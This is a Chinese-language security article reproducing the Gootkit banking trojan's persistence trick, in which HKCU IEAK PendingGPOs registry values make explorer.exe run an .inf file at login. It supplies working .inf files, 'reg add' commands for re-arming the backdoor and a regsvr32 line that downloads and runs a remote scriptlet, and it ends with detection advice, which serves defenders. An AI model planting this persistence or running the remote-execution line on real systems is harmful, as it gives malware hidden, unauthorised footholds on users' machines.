當前位置:
首頁 > 新聞 > Gookit Banking Trojan中的後門利用分析

Gookit Banking Trojan中的後門利用分析

0x00 前言

Gootkit Banking Trojan在2014年被首次發現,最近Daniel Bunce(@ 0verfl0w_)介紹了一些對於Gootkit Banking Trojan的分析,文章地址如下:

https://www.sentinelone.com/blog/gootkit-banking-trojan-persistence-other-capabilities/

其中,Gootkit Banking Trojan使用的後門啟動方法是獨有的,所以本文僅在技術研究的角度復現Gootkit Banking Trojan使用的後門啟動方法,分析利用思路,給出防禦和檢測的建議。

0x01 簡介

本文將要介紹以下內容:

·原理介紹

·inf文件的基礎知識

·復現後門啟動方法

·分析利用方法

·檢測和防禦建議

0x02 原理介紹

explorer.exe在運行時會載入特定的組策略對象(GPO),其中包括Internet Explorer Administration Kit(IEAK)的GPO。

如果通過添加註冊表的方式為IKAK創建一個Pending GPO,指向一個inf文件,那麼在explorer.exe啟動時,就會載入這個Pending GPO,執行inf文件中的內容。

這個方法的優點是不需要管理員許可權。

0x03 inf文件的基礎知識

inf全稱Device INFormation File,是Microsoft為硬體設備製造商發布其驅動程序推出的一種文件格式。

對大小寫不敏感。

文件格式:

由多個節組成,節名用方括弧括起來。

值得注意的節:

1.Version節

inf文件都包含這個節,用來描述支持的設備類型和適用的操作系統。

signature="$CHICAGO$表示該inf文件適用於Windows98之後的所有操作系統。

signature="$Windows NT$"表示該inf文件適用於Windows 2000/XP/2003操作系統。

2.DefaultInstall節

默認情況下首先執行該節內的內容,通常包括文件拷貝、刪除,註冊表鍵值的更新,子鍵刪除等功能,還支持執行命令:

·RunPreSetupCommands,本節中指定的命令在安裝服務配置文件之前運行

·RunPostSetupCommands,本節中指定的命令在安裝程序完成服務配置文件後運行

·RunPreUnInstCommands,本節中指定的命令在卸載程序開始之前運行

·RunPostUnInstCommands,本節中指定的命令在卸載程序運行後運行

參考資料:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc939869(v=technet.10)#information-inf-file-entries

例如一個分別執行cmd命令和彈出計算器的test.inf文件示例:

[Version]

Signature="$CHICAGO$"

AdvancedINF=2.5,"advpack.dll"

[DefaultInstall]

RunPreSetupCommands=Command1

RunPostSetupCommands=Command2

[Command1]

C:\WINDOWS\SYSTEM32\calc.exe

[Command2]

C:\WINDOWS\SYSTEM32\cmd.exe

命令行下的啟動方式:

rundll32.exe advpack.dll,LaunchINFSection test.inf,DefaultInstall

執行後先彈出計算器,關閉計算器後,再彈出cmd.exe。

0x04 後門啟動方法復現

1.使用測試程序putty.exe,保存位置: c:\test\putty.exe

2.新建putty.inf,內容如下:

[Version]

Signature="$CHICAGO$"

AdvancedINF=2.5,"You need a new version of advpack.dll"

[DefaultInstall]

RunPreSetupCommands=Command1:2

[Command1]

c:\test\putty.exe

3.新建註冊表項

·HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs,Count, REG_DWORD,1

·HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs,Path1,REG_SZ,"c:\test\test.inf"

·HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs,Section1,REG_SZ,"DefaultInstall"

註:原文中Section1的值為[DefaultInstall],經測試,此處存在bug,正確的值應該為DefaultInstall。

註冊表設置如下圖:

4.重啟系統

系統啟動後執行putty.exe,復現成功。

註:系統重啟後該註冊表會被清除,為了保證下次重啟系統時再次觸發後門,需要再次修改註冊表,添加對應的鍵值,可供參考的cmd命令如下:

reg add hkcu\SOFTWARE\Microsoft\IEAK\GroupPolicy\PendingGPOs /v Count /t REG_DWORD /d 1

reg add hkcu\SOFTWARE\Microsoft\IEAK\GroupPolicy\PendingGPOs /v Path1 /t REG_SZ /d "c:\test\test.inf"

reg add hkcu\SOFTWARE\Microsoft\IEAK\GroupPolicy\PendingGPOs /v Section1 /t REG_SZ /d "DefaultInstall"

0x05 方法優化

1.inf文件不需要同要啟動的exe文件同名

inf文件名稱可以任意,例如test.inf

註:原文描述需要inf文件同exe文件同名。

2.inf文件內容格式不固定

3.inf文件的payload不唯一

還可以實現文件拷貝、刪除,註冊表鍵值的更新,子鍵刪除等功能。

如果是執行命令,可以同sct結合實現無文件落地,例如實現遠程下載執行的文件內容如下:

[Version]

Signature="$CHICAGO$"

AdvancedINF=2.5,"advpack.dll"

[DefaultInstall]

RunPreSetupCommands=Command1

[Command1]

regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll

0x06 利用分析

優點如下:1.不需要管理員許可權,只需要普通用戶許可權即可 2.payload擴展性高,同其他方法結合(如sct)可實現遠程下載執行,不需要向硬碟寫入文件。

0x07 檢測和防禦建議

監控註冊表位置:HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs

默認配置下,系統不存在註冊表項:HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy

註:修改註冊表HKEY_LOCAL_MACHINE\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs不會觸發這個後門。

0x08 小結

本文復現了Gookit Banking Trojan中的後門啟動方法,分析利用思路,給出防禦和檢測的建議。

本文為嘶吼特約作者 3gstudent 原創文章。

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

Mirai變種將C2隱藏在Tor網路中
使用Ghidra對iOS應用進行msgSend分析